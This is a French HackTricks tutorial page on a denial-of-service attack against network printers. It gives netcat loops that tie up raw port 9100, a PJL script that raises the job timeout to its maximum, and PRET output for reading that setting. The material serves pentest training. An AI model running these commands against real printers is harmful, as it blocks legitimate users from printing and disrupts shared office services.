hacktricks/network-services-pentesting/pentesting-printers/transmission-channel.md

4.1 KiB
Raw Blame History

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Si les travaux d'impression sont traités en série ce qui est supposé pour la plupart des appareils un seul travail peut être géré à la fois. Si ce travail ne termine pas, le canal d'impression est effectivement bloqué jusqu'à ce qu'un délai d'attente soit déclenché, empêchant les utilisateurs légitimes d'imprimer.

DoS de base :

while true; do nc printer 9100; done

Cette attaque par déni de service trivial peut être améliorée en définissant une valeur de délai d'attente élevée avec PJL, réduisant ainsi le nombre de connexions qu'un attaquant doit établir tout en rendant encore plus difficile pour les utilisateurs légitimes d'obtenir un créneau horaire libre :

# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done

Vous pouvez utiliser PRET pour trouver les paramètres de délai d'attente :

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
5
300

Bien que la référence PJL spécifie un délai d'attente maximal de 300 secondes, en pratique, les délais d'attente PJL maximum peuvent varier de 15 à 2147483 secondes. Notez que même les travaux d'impression reçus d'autres canaux d'impression comme IPP ou LPD ne sont plus traités tant que la connexion reste ouverte.

Pour en savoir plus sur cette attaque, consultez http://hacking-printers.net/wiki/index.php/Transmission_channel

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :